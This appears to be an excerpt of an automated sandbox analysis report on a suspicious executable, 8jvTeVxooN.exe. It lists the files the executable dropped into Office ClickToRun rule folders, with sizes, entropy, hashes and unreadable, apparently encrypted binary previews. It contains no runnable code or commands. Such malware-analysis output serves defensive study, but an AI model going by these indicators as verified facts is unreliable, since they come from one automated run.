Preview:	.<?j.9.r%Z..)].ZeJ3.....!.a.;......Z.M.G...\.H...8j..".%....Z;.k.[?U.".jvy.>.....?=.RK...:)............&\K.\A.!.N.K\|.]..R......3=..>.+..J.EL.7.k.....o....%...~.............>.L........~.4....sM.Y.T...2.U.;_..........`..(t..`...#.^..J}.......uE.EO.`....j..+...L.".:I...,^.H.ev.TG....C.....H}..8....M..<Xv.XD..h..?...=R.,...........\|.k99.a..xK..o.O..#jL.....&.w4..(...=AwE>ZJ...({b7GE.+(...hW....t,.Uq$vJ.......w......N.5/.....s..,$t..A.(].-f..~.J..0..g.X..\.O.#b..n.n....s.6e.d;.z,.L.!........7.....2.XD[$@..w....K.@?..r...V........f.. ..vQl.0..Op.r$..........N......#..B....{V9.^J:....^..1...w...%.fR.0?..C.p.......mA7.......YdQ.....}9...?6.N.Ok.=..\....j(...bh;n.....2......&yl..q.q...R.../0wU..N....6...=..Cig,.b7.:....).....k.0Y\|o.!.{d.2X.N./.-....c%B.........u...4.+..oU.......K.Z...f......t?wJs.\...G;.Mn....d....o..O.h..Zi..........#..b.....[.a..G........^..=.S.......'A.y/U..].#........bf..Iw.6s...d....,NG.r...B.$...\.......e.'...V2=./=f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.890869706770602
Encrypted:	false
SSDEEP:	24:zYXoVKhSq/yvwBYQtH0/Qysj3rVNXg5ZEsWBw91QO174zWWfL4Gh/W+BObD:n08qxi2UIysjbjgQFw91p7AhfEAe+WD
MD5:	A09DCC77C6CD8A8C4B1C8FFDDDB6B96A
SHA1:	CFB0C34596F01933CC72A046F0069EC21039FDA7
SHA-256:	74E6676B78FAD2084F88A7F123782B2AB762E7DC49CC833E0FB599A4E126D647
SHA-512:	6F6DBB1F202C7C8170A8B71CBA210E4A37104A252E1361F78A483806B523E938D11335FF3669E5AB131FF3012C1B33C96563FFEB64F3E6948EA6B6EB12CA9768
Malicious:	false
Preview:	.<?tp...S......v.=?.;D.J.0w....W.......?..^...J)$\.Dv..R3(.$..5.\|.DW...1\.b.f..R2.f...'.;.jl.p2.C.;(L..R..g.9..o.K$R..b.:..A..9...p..l.?g1......p........ .6.g.T%9......uF._`....\.......t..B.._=)9J......u5......$.t.......EK.%..\GGt=.-B..)c8.=.:...U..zw...qn...1.^.Ku..LO.....g[}.qM."........j1X..l......c.N.m...D$....AH.?.h}......j..U@.....-...\.G^1.g..i.&......R..a..s.{&j../......Tu..^....<M.F&.^(.-.".%..Bl....;.~....I..}.5R.......e.b\|..j........-B......N\|..<..TT.zh...U5.F..n.b\|...}.?m.7.r.;Y.E.1.....lNG9..B~:...b..J........6..@#.&J`H...7"..1{...../hJ..\|.X.............C8.......p..U..VJXy..]..CSU..6/..6........XE.#I.>........VP...S..=...z.+...\...'. A..t.M$..@3.2~.e.m1..c....u..\|<..G...#7._..ss]........}%f..o...S.T7.5..H`l.pk.7.GIY....D_....).Y...6.u.c\.\%..h..j.l...~..).U."..N...&\|j..E![..=..w. (>[..}....tr.}4.@...0Dxt\..........W.r..Fd.S.....w,-.6'R.F.....$....m.....]o..<..N....6.u8n$.{>...?<c..[..TE...C.#.TD&@m..8..sd...ReV.......6=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.899048107051452
Encrypted:	false
SSDEEP:	48:V611Hh3gjHkk0YkjyX1iB8rqycZirIQ5w2flg6D:yHGrxkWX1hrcZF+flz
MD5:	69E5B268FDE72CB85437E6D124291A76
SHA1:	AC42DBA68753C4043DA9AE7222EDFD8E3DBE3CBF
SHA-256:	E8CC4C7C94FF930B77307BA69B12BF67116A9805374198C403022F6983B9524A
SHA-512:	D62E24353CB50E5B1D2F20B1ECBA45EB6F726EF29C55AA22351F31EF7CCD9605DCF91FF2A9FB2776E2AA65E1507EDA3D9BD6CBBA7B73FD8341EB1F23A080EDDC
Malicious:	false
Preview:	.<?.....L$.E$.b.".w.......D..f...; 9&...........>...W.K2D....Vu....=P...5..I...l;..gM-.x.C.[...5.+..%..._E.^....a...._..Z.....+.....! .+....u..?......0f..W.9V..C#\|}.}.......b.......TF10.n.4...9.._.O.^C..5.&..Tr%.('.D...i..II......G...J.;.%&sR......w.}......\\......M...x5_Q5.\|..N.. .M..GH.@.....{.....7K?._..L......T.\|.K.E%(..I..Lfd..a.n......B...9mw...)..TnB.p.j...i.."...._a....^..E..P.........v.W.](..R..`...D.j...e.K..r}..K4...8+.<o...S..(?.c^..1...I..Y.5r..m0F.A.C..W.~.-A6...[tO...6.#T$.3.L.{f...qu./.G......S>3..C.ir.....h.7.......D=}.B.Y.R.kzu..%..A.6..\|....),+.O..`9.a..QYz1c.<....J..m.....$.[r.d..3..4.G0+..0Cbw+.s..d..@.Z;%...;..._k^.:....S.5.-~....bb..f?.xH..c.J. ...x.P..UT'og.Y....+H...N&.a..#.!;.#.@f.abt... n........g^;..5OQ.D...R.z..~y..}....2.z.}.\.C..]7.H.[.P..N.v............~F..3.l.2$.E.R..@....0..:..C..J.=...n..(..D,&...U.......7..Y....\x..>..o.k.0F..>_`.!.mW..f....mZ.'h.E.d..N\..%..h.Q..YS.....@hgMt.m...u.[.W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.899567201967706
Encrypted:	false
SSDEEP:	24:HWBvgQqISK5pQINaYtDLabYikkWsWvIu2K5KlCvC24ayXRqg6uPsnbpWObD:2BIQqIP2INTpmDkkWNb5ao/yBqgBOnD
MD5:	35D59C067C8930E6E5DF6F4BDC2B5112
SHA1:	AA63865BE12ECAADFB7E4BD87E883B17FCB84883
SHA-256:	8BF386DFF89F0F9751131991098D450C77E58D5D58C4F78130024E66B0D985F8
SHA-512:	05027A095CBD3F96039068C6A96218C369D51AD14B3A79DD483A6B31D642FE91D3FEA8F971B7F14FD34D17CBD98CE8BB251B9D7F280495FD31B20478EE4039F4
Malicious:	false
Preview:	.<?h...i..m(..1A...Q..z......R....I...Cr....R.KSda.Sv...".=>T..J..............<..h. ...!..lkT..\.t...Y.....\..@LG.v<[>.n+..(.....(n..%>..d..!J.-....L....(..X..Z0..]...o3...h..+1b.VeO2......SX8.Y.0..\|.m@....c.xx...8...m .wN..#T..g@m.&..1zF3'..@=.[(.[a.a.9.GU..eW.&..:Gk.U.r...i.~.7..H..(.h.?.T.H..e\=+.&.....8....l.)n.WS.....f-?..\|........n......^...+.].g].Q.9.Q...Y...I.E....o.2B.?........5.....b...f..{.P.o..y..VH.z!w..30.....Ji..s=DW..^........n+.=.X..........X3U K.4P..i...J. .o..e.H,M.h- m...]..G`3..s.......Z..;..P..p...94]z...........ch.N.......G..E..Y....Zx.u....y........0B..`.s... a..Qp"....ZX...;.w...Lxp......G..J..%M...8.a4.....T.KD.....\b.bsH..._\...}.d....w}+:....D.bF=.O.u...<...3.P.t".y.~"u&?... .K._..b.u{.....4i.#.e.uu..w...kk..V.sh..o..[....T..S.[...%Kg3.....d....$....v.R.M..~....[A4.^.n...b..k..\|.v.... "Y.W.,.....#K.\M.~.sG.mkB..J1Q..`..z..]........X.uY,..M\|g.m..p. .d.G......v.s...1..Us...%....h.F..&vG1.... .>..@9....P.-^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.872547448928025
Encrypted:	false
SSDEEP:	48:LpfAvqlo46O8jK2ZBZsKcFpczPnYG1kOD:LpfRo46RJZwczPD
MD5:	E4FC3DD85D3837A2C5729E2F1C7C2A28
SHA1:	E08F017586A6B15DB8588CE4D9A82E8AA72D9C0E
SHA-256:	1099164275E3A8AFC23479B15576BC290D4F2C308BDE87F5D060D9FC14BD9A8C
SHA-512:	A72FA8A70DAC80550DB1709A192E2E2CFDD3260546BA1F4C02BAC61AB83208882238A93B023F0A55792BC6D8E8F9A21DEE391769E79143AA4D2D9B504FCD6F80
Malicious:	false
Preview:	.<?....i...-Q9.nD?.ps.,.q\|..[../..7p.)97-.....b...5$4..H.1.bt.!.H7..G........SI....!K.dw.Ps..g..ZAL9.}..{.-...IZ...v...0..c3g.(...Y"9"$....mGi..w.3....................,z ..6....F..[...xz] .....,.!..XJrD.....[F.)-.V.Rh....iK....y?.....F..(/....b(+..<..a.#5....E._.%P.......nC.t..J@e...h;...q...@..W/4..S....#HZ.D.=/>.....7.=A.pB.-?.o..J..W....h.........E...[.u#..9.4..W...M.n._pv..#...j......PB~...U..$.a.I.....o..zk.....O.-.:.w;...~,.../T....H.@...rh[4.9~>Z.......!Ru.h.f?C..MqY._........P.cz.S.S.8.a..^......`. ..:.>....]...%.....<...r..#._Sk..$DD.....v.K.J..,Ez8.t.Kd...f......$........\.2^:....h5.i...F.J..T..F.kk.8../.O....'.v.y.V..[..A7...!>..>@.....".P.F..q1w...1.ve0YF..~...C.+.....i..&..m......!.0.w...`]......`.....\|RT.=..5..wK..D.i).+..(...a+3...sl.@...#bn..Q..,.sLM.......G..gY..fx..H.sM.2:3.......~.ZU.:7..<..$E<....^..?..E...=..).;.k.\|..D.(M.}`.>.p...1.......0C4...9...^..7.R......Q.Q.wl.o.....3..%W....#.69!....2Hwa>..F.G)?.0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.875900779137774
Encrypted:	false
SSDEEP:	48:uGTljRJkv8OndfTd2jxppcsTAjWlg95hAJ2sdD:nFJ3KJ21pOscjp5q1l
MD5:	1AD8DD735A253BD967932C5A95DA6A82
SHA1:	9E12616FA6DA2F66E33572381ADD6CCDE9BAC0FC
SHA-256:	588C370A0D7EC4A9B927294B40551F5553091149C90B2BB9EB025C5F5944A3FB
SHA-512:	E1D5757E940C531333C68BB33D908675601915984C989A16369DF27EBD3A7028C1DC31F0002656055C85B05CBB6ACED7C2ED45A71303020B2F272CDF59D84A6A
Malicious:	false
Preview:	.<?..Q.w.\...Y.Q.G.g..s.4....u.m..G...0..9.......@)c..~.n.C..@5v....$.....`../..S+.^T.F.D.G.SN;a.....CY.Q.X.?..uYE...(..;........C.Aq...../~.67'.N..}q....-G..6.),..>._<...V{..pW..........n...}PF...O.!. Z............Wo`$.G..$.K3....O.<.......9..vZ..c...Q.CT.;...oG......&.s...O).yJ..L;_St...:...qd@..8...EI.o...x-R.._g...$yQ.A..I..... ip2G.0).b.vN^ga..&c.o..A..T.0.".SCA.Wi..DjzmN.:...?......]..H..x.....<..@{A.w].Uq......?..3.Z.u.K..'.....'...&h H[....j.hpL.l..... ..".&....2....+.......t...Z.^.\i..\.c...~....q..M...#..;.E.O...(P$BU..........&O....2.4.Nr..&....;c..,R..(..Xu.gC.Wc.q[...r.D..Ni1....('...V\...{\|...o.].YKt./.....Q.....T-...P....\DL......l..1..upI..!.J.:3..&..`.I........Z.Q...x........&E...E..A..e.....O...Re.p.....p.l....$.y.z%G.pO&.s....9...Z.0.MU. 9j.uj...#IM...A.{.3a.+..=%...z..q..z[.m.S..V..(...Tb.2';.....5.....a......Y\|..>{KrV....t:..m.......8gJ.c.Q}.....~..m.......5...DC...y2B....Pe .dB.......[..=oMq.N.C./.-..=..%H..R:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.88697816904932
Encrypted:	false
SSDEEP:	48:wr4uXI8hFW4vRUq87tQbmiNHrwBXI4fzD:wr4uXI+FvU+yMHrwdI43
MD5:	C87646589DE0EF5E39B5F9342F63B789
SHA1:	4FD63BC5B88E97DCB35E498DD3D3F418108E3518
SHA-256:	B8FE5878F87A4E337484160AB08145DF6455717E6BF152ED6F895D455EA9B636
SHA-512:	C4B4BB366348C7A3E2DA8B7CC1A394058FD94D3932427799DC7325BAC372686AB1561D5EFB0136691C404E4D7C30356EF1FC7271D8B36E39C639A144D212C8E8
Malicious:	false
Preview:	.<?..r3.a..b.u.O.t..\|G.].5.q......h.qe..)...O......Y..e.2)P...aO.E...%........../.k...G..}"X.P..\B.J..$=.K....16d.R. V....5..pmi.Ec...n.K..._..,.9...6B.U.h#/...`....:....y.h.4..y....F.O.f.3J.d!m.JvE....i......ma.. .X...I.<.....Pk OlM..oI....Yf~.........3k4$..R}ST&.v......n.N.c.M....s....$.m.xby..3.....\...\H.n.12<3C..3.Xy...H.oH..fKN.p.s..e...k-.q...[.....j..(L.V5iH!b.$.rm..m.!E.p.E.......i)u.....?..&.H....j..C..1.._..w.n.O..F!..Y.T.....{p.t6. .h3l.O.;.>.Jb..?....0........7.....v..<U.b.J_...4.......L.MZB.x.Jk.~.Ws.K.bX...G4....a...N..8-v...P5.3. ...V.(....WZ..j...xt..`.....e. ......Dq..."...i..U..J.#...J&f.....C.&...>.Y.}eA~......pu...M...Nx..@..a-l...3^;...Z@.cT..q.(.B[......?.....9..AJSd.S.,.......$.q.....<...w.hQ.....z...J.m.....V&... ..p..{.\|.^...q)..u.&..g.%C@.5.VGb..3..:......J.....`.KW......R.#..e.[qX....1Dr....Wgs!...HE..!q....1.+..X....8.....j.4i.n...Y/.C...Lt...Y....qLn.c.D..)d...._....I...........Z......X..<.w-...k$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.886531908151015
Encrypted:	false
SSDEEP:	48:DFuMw5E23aBanmzNaiGlDxX/XlQ+f8WuD:xuMj22amQiGlDlXK/
MD5:	8896A6676DFDDD387C0DA0CEEA1A9193
SHA1:	79EB8198E1FF1448CCD41336DDFC51AC0D977F25
SHA-256:	6B2BF4A9FE06DCC94373F7A576FB409EBFADE29DE9C4086094D40937C5ED4B5A
SHA-512:	1BDD2C51179BF3572379EF88938F40F3FB3AF71B0282354FB9410A7F394E84E141899B37C86F7EE1B4B13AA367F602276862DF592ACF133C64565DACE07EA34C
Malicious:	false
Preview:	.<?..77 .q4.../...."s...f.....Y.j.../.f......r..O.,x.".../."`..h...."...p.{.....j.41..j.....3.].e.w<..^C.......7....%.Oe?.......V....y....hF..z.p.O........#.~..b.c......I.[.'...'7....e.d.........x........eI...^..j........k5..G.J.H..;.Q..M.#e.....&...lq...tHd_.J./......=....~....V..k#%...f..3[.+..b...T...1h.....<.G......zl[_.....36............or.^.l.S....;s....a.>,t`2.'..PlZ..Y....WF.xO..J1...N.......{..nWF..;6w.s2......M.-?W...$H.5n....8....B.j{.....,.+R6_b..$.RH...+.z.C.P'o............')......J.b.E.<.}U...R..0.U1.e[.[~N.>#...F..../xG...je.....e.....r......QmH..pi...@......P....o-.%.2....r65...(....Y7D.[._....Z....'i.l.....}..8...c[.'..M.c#.M.'=..R..~.o..(..K.a..+.....L.HR9o....(..r..X.3O.........U..........GJ.EV..o'.G.%.`iH......?0S(\|.ID.-..x......I.h...........u.[..P.Dw.O8{?".....I........o..E...Jo/.,+.l.....o......; }D7m=.....E.....s.X..k{5,Z=^3.dN.)...3......._.....4..........j/b.I....un........<O5....p...u..\|H-%q... J..mS.M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.888866536797883
Encrypted:	false
SSDEEP:	24:x6dV+XZ9lqdXVX7QrSczEXTd8MS1ak0S/jU8iLr6rDhk/FhVXp6IBlloxPwSsoiz:4ajl8X+rSuU846rNk/VZ6I1oxIpoi3D
MD5:	A193EAB442BDEA0C12C3B4BE4B78224C
SHA1:	A548B7FCE18DC668E278E3A1D880BD52674E9998
SHA-256:	52BA589C52AF97EF214137CEA8E084AD112F627409291E09C46FF410F87E5E87
SHA-512:	C109073A2B37642F2BED9D2A71CF9E94A7729917E02781D74D2E306C60B567E58F587CDE252E7368095C256EC58E8E7D60711EA7CAA1B839EA0498E3116644DD
Malicious:	false
Preview:	.<?.-....s._1.:ov@<.XB....._x....'......<....G.7J^W.}B.Z.#?..N..j..?.....@._k....P. 2:.._Q....!.q..!{..K2.B.[:.mc..%..2/uI2_.+o..\|...6,......u.~U<.&wq....$%Q.....t.....N'.b2-W..V#b....iPL...6w^.o^..g....m.zn...Sf...zn+...z.BO..;8k&b.HT,.l0...Z..[."...T.h...4.O..".W`.$C.!.......d..\|..1.^...}r....eI(+.!...]...4..W.....I[mw.~nIE..KS...B.i...@...D.........Dtf0r.8.....S....a'v.>k.s.~%..q:.#e....<..y\K.Sp...A..,M.?.X..q..(..(.s[.+..!....n.Q&.IRP.V....?;...,2..Q.'..r..&i!...b;).Tw.HG<..ST...j..bdg.r....sD....>..._.....t2T.m.H..~.2gM}f.ob..b..31.q...>hO...[T.2P..u. ..J.a....Dn(V(..~.,E........u....2..3.cU....:.W.7...G.c...#[6"D./K=.R......_)...E..1..<.I..s..8UV..[..............J..x...E.U.r@z.+...!!i.G...4.2V.k...,u..z..;o;.J.J.{i..+o7)C,.....;.mg.L...?.$LKW....qaI...Ugjp.)&..N.....A.V."H.1'../s..s*..04.^........#4...F....^.Aw..H#YT..v......:..>.Zli.JS.B..\.t......N....O...<.Sr.>...v..i3.$.....<......5..T7_Ja.$..M...2O..a.C.iRK+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.8953714865734055
Encrypted:	false
SSDEEP:	48:CNAGFH1MmNHUrVw3k2E03jTqqr+NsOMQtkieG2SD:CNTFenrVw3k2kqMMQ+rx6
MD5:	15FC5B648590DC74F6AE28F68CFFC882
SHA1:	550CE22C28E919F7218440F6127C6E1C4313E1B0
SHA-256:	7D3F8EA7700F00448B22E4B7C606DC0F02D0490BBD53807B77C1DE338593A1BC
SHA-512:	5FE620EF5DB7FDC5398621BE2DE480643F808F9974A4FEBC64BE69F0E768FD6F68E73E9FEFBBC60219E9AAFD6F10308849E353F21FDAB2336472A1D120E0BC30
Malicious:	false
Preview:	.<?.&"{...@..F.T..Z..i.<..}tU.7..B.....].E.4(....h.a.V..K2...1$;. ..XDY>.G#...;M;.+f.s.'.3Bj.<.,.U8...@..xI.x..r..5.{..\|.zhA....N.E.....Y:....=....@.n..(...Z..rm.n...Ml..K....'J..].^.....&.a{...}.7.6$......9v.; ..............=......{..$;I...../...[.VH..rR....:.:..n..YyF..XF....05N.W.U}.&............2.........{.........p..M..."G...&r....Si/.~...}%(.W.+....uCJ.n..K...Y.%:..P@......&3.%..............7.peQ..6.Ec..._....T....H.6..m.q.-..s.c..jN..c...r.2.:."'.......".$k..3Y.G.%HOy8p.Z..W.T8..&rP.>..8..#...5.<..6...#....;j...}O...<.V......@...XH.$z..!.._...7.>..\.F.-..+.'4..km.....?%.%.T..v...8....[\|a............#..5..V...?..21?..VE..[d.........w8J..[&S.].........[..\Wq...N.H.A.AlV.7W.[.D...".>O`g.pB......8.:..I.K.G....L.K.h..h..LP0g./....-r.....A,.........{.......cB..Y./..>..L...\|.u.Cb.#o.Lt.8z........g..v!....y....%....3..B:.Z%%.....Y.0=.l>.....I..8...l....Z.=.&~...H<MM!.....$g...n.a.\|S.6...Qk.Q. ..\|.;..PN[..e.b..K7V....Oq....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.890743452583592
Encrypted:	false
SSDEEP:	48:zUe8NyV0xXR4hrFQFM72SFfFyOkmQWKo0fiKuO7qa1ZaD:H87RYrFvfoggo0fuOOwy
MD5:	14E00E8DC0C7044BD07472680F400D55
SHA1:	7E0F5E27C5C9F843451B70F1473CA80D29FB6679
SHA-256:	04D76901999F05E0F8A7EA34903DA6D91B1B7C50D5A78CF545E01D623B80B1BD
SHA-512:	96F94CFB9C085710441CF8F0CB7F03A20445466AB4FC20264C382F22409E929CCF897575656D2413C7E7740FB5E66DBE338EA08340CB904375090C1BAB25DA41
Malicious:	false
Preview:	.<?.r`!.[.........:.....o..[F......S.W...'."T....3.fnn.oQ.....W.X.3l......:...ZT..!.R...c..D>`............b.T.9i+b.}.(."T..".sQ.4Q^....8...A.?.w...p.........A.T....a..}............j.....sh..yz..a.B..)eQC.^..%..U.i....kNvc.IM-..Z6.....%.......s%UkJ...'.t.s.......D...C"L..^..P.w..S5Z:e4.......m.#.=...5.#`~..A....z.....`.J...S.C.`zF.T@\|(..S2*.).\.a....4.vU..6.....w.4j.Us.P.6]!.M.&.....M.@P..u4P.....A...Wc...y......43\|.Fe.c.GL...+.1.9.B....Ym..5$..KL.h4C7'.fj..r.....b...........x2........8U).3.:6.:.+.......7..:.....n........hNP..G.^.M..@/.Q..].6.:.7.V.5...A..j..........W.u4..1.#..0....r?.cn.........S.cs..i.(..+<..?\|..H..B.jqSU....&..?X..%m.H.Z...=.z(...U.......^.s.#..l.8..B..i......&.X....Sg..%.o..dl...R..^..G..LS......&.+..,#...D....}.....[...g..,...[.L.$.p3#...k..4..HJ..}...tk....(`.M.2.N.a.....U)L.#.\......U.~.Ej.[.....j..x!........I).O.....g."..q8_r{.e..Cw..m.p.%.)4r.j.w....=u}.!.T../%U...WXk..e...W.....e.w....{.....y.O..........~..g.{.=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.879333514474745
Encrypted:	false
SSDEEP:	48:QA1+ObsFyC8opbHAsazVUqCvLRlfRgQlrvnV0tdxYD:QA1+OiyC8CbHAsaJUDfOMrd0lE
MD5:	9543C84E89502F4502E8AF11C93C3E67
SHA1:	3A61C51954AC413A151789E82129673044618FA7
SHA-256:	61ACF7335BEA9A19612E34F7619245A8A3687B4EF003BA9FA811AC77C6B7F3C8
SHA-512:	E90461043515285A4678D7CED41D9C0868F1174B382014AA1C01DF335EE728AC95117C787CBC80EF0911CECF915ED2768A2EB0B6F4D2839F61BE74F99C67983E
Malicious:	false
Preview:	.<?..\|!.CDe.a...^.3...9.....t,.4....E.....`.v]d.A9\..H..G.M........-..P=D.=\..A..8...)....E..]...7Br..U.~..q0......`a/..`..2...!.=Qw\#......c....c.......H.;..z..j8.HzJ...K.\.k....1D.j..,jN. NO..'$....)....S...o..M.?.fH...$k..s....s..xU.."U..V...'..<.....8^..^...6..%..i.U...7J.`.W.{...&.`..\|#..uj..E."..Q.}.....!Y.%p..E....o..dI....0.B....<M..f&.6.3M..E....<.{.k...3b..E{e;P...+....!.....;..~.....R..q--s..>.....g.z.$.5;..J.e..T..C..t../..'...a.3.C......A4..3JP.W...O.!..,...w.[e...z.h....M..o9,.%....h.0W.f'.a.......j.f.h7B.h.t..'Y..z...V...}......'./.=..i.cq. ...[..GG.^.W.F.q9e..O.(X .. V8......\.7.%$.P......n!...>....LP.T...........\.C.Q\K..\|.+.P..-..r..W.O.......v.....u\|w..dP.k......Y.....'.....oo..)...3i..vsM.../..gu.HZ....S..a.z5.h....47=.<......t5.uh.kT.Y[......$]W@.....D...........R...[.$..dE.........!..'=1.^...A.@/.GN.B......j.......\|MB"f.;.~/..=..5.WV..[]....p1...x:.^.A.t..k.......vm.Q#.....C...\|...g....T4....r.).1.Hv..t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.876688962056167
Encrypted:	false
SSDEEP:	24:JK4QtPXFJad1YDdkFRQPQ9dOSiKMS8noVU3KXSbm8eS0w5ekfTjMKwRRtq6LAJsh:E5H+Yw7liKTM96XSb4w5Nj+Rtql3mHD
MD5:	1FE5A7F6DA73BF0AD3BFB10DEC1CE458
SHA1:	DC081E8621ED618F63D091AA8F8DA8A5B79F9D17
SHA-256:	4709E49B791B0AD83090CB4696A263DF36BD8031D8050D4A7FC8F4DE5974BC55
SHA-512:	1F7225BFED3B3D29419144126CBBAB401BCBD52597E0B7F062B1942F6CF8EC75E9F4E7797B9CD6E5DE945246829CE7092955B8443DD229F61DFD46497650A721
Malicious:	false
Preview:	.<?.E...{....J........C._;.......S..........@n..;.Q....>.M"...KM".`...........8..!-.. .8.K8.yz..9..."o...L]....I..]......&....0...D.....Fa..{..`....Jm.....?I..C....\......a..._.....4K/.'...9..^jB1L. ./~(c....,bQ!p..&I2...`....`<........PGH.M....t.......,%..%.....T4..5.{.;...P..@.a..\|.+..;.!.......2...o.A.....s..p.+..L.b.\|..i.f....t...T...........g_.....e.#.k..?..r....K.:..~s.]j...8...N(.Ez..b8.2..S..~G.5M.Rv.Nm..}.pz.D...C. .r=91.T..nG#......5..lg..^.....N..Gtu)i.q.x..E..I.....T.m,.b.;..w.Ea...B..{ Z...;}+O).z!sw"ux....I^...ZO._Q..~...._y...x..F..X...w>\|.S.[.X.b6a.....~BF..+....(...QB.s....m...............2....c... O..%...P..+.....sv..8......,...e.4n....+n2........6=...`y.q3..R,..1.rq..V..6.J.%T''.u.i........8.1..hf ....`.:&.<..C..H.........EK.....T9.U\..&.?!.....4....@z8.fRMwww."k..^.RLE%M..\1..~....?.[L% ...].4.@;.......r...s9..."..E.O.3.B..5.F..8u...f......8......7.SN...M...];.7...i.%P.2..Gh.6...S@:6..........N.}.fc.#*....u6B...m. .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.8510132261575105
Encrypted:	false
SSDEEP:	48:lLBUPm23r2cXu3BZwqL967MHNVoSoK0D0UD:se23i2qeANVoS20A
MD5:	26BCE6AEB1B3A409417780714CB3B3BE
SHA1:	19A54C93DFC63FE21F9A7F40633D22FA6BBF45DE
SHA-256:	E5C3DC6AD56FB7C62CB83ECA9B551D996E434A6FAA099E81D860A7F3A07D527F
SHA-512:	1E669E4DF274D70515EE07048911FB7EB1C2F35DB0C0B9790A44774F3DC4AAC3DF450C67555331197787CD92DA2D85D8F6DB1665F53703F0268C2F85D63D2170
Malicious:	false
Preview:	.<?..lq.../...\|x.v....3a.......b....^.f....ty4z........v...../.l..........J.-.0H.U..a.../.c_.7..^....?...z.@U.'.......n,..].q..u...2[.<.y...N ...F.....ZP.JE.S.{;...2.l......(..n..:.\|.=../P.E..ws.@.ym~...a.l.Uu........5.u......!,..gNZ.8..w.(,/2..V{.7f.Cu..55..iv.c..o....n....2...u/..6B......#....'...:`......{..C.m.`.......R3...h}.. `X+W...v..=%................W.......{...J...g..,..D.m2..#/..0..w.u....my...b. v=.t.\|N.. b..Vr..zc0K..D........E...jV^)?..y.\^..".)....F.Msrd......K.e...k....;.}.....d.:M./3.D.w....r.)..Y..7.........O..olW.EMQ..W......t.[..e...>.....?.....^.8F...p%.g6....N......5s..0.wk...../.....\...H..x..'.#k..WO..\|..&..\._..H..m-.H.\|.`J..,...l..R..(Mg2.N..^B...W..eV(..r..znh...Y.3K5.....U.D.~.c.M......mp...7.t.,.....n..ijZ.wl.g.LU....6...l.7U..3O..3.1.xdf.L.......Z>..\|.. ...6.-..u.]..^m...]....V.<.S...t.m.-...-..A.5.Q._....cN.n..d....M.w.6..w...g.n.0.M9.r......."-.n8.<P..B..Qb.,..PL.....SE.7..>...rS.sk.qy.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.881308488168212
Encrypted:	false
SSDEEP:	48:b5fhXKNE/ZgdRBr68YMjGY/hsviU74UAuSPbD:brXKNEq/BGUiY/0iETAuSv
MD5:	424C4E93D0E7291004F670BAC4A2A623
SHA1:	628F8C8811D352F35C3EE7BD8C7E484C594F7D28
SHA-256:	72A8F171BAB75DBAFBB6C762920E3F3B020AFDC3420FAC5807B09D3A55E25FAB
SHA-512:	3D2B9780AC98D185265F2CA4709C405F9ECEB1F6F9EA9A662A17D235EEC48A279577098E92DE22D28B6D71A855DC245218BFF5CD3B8201B73C383EE4613A9DF3
Malicious:	false
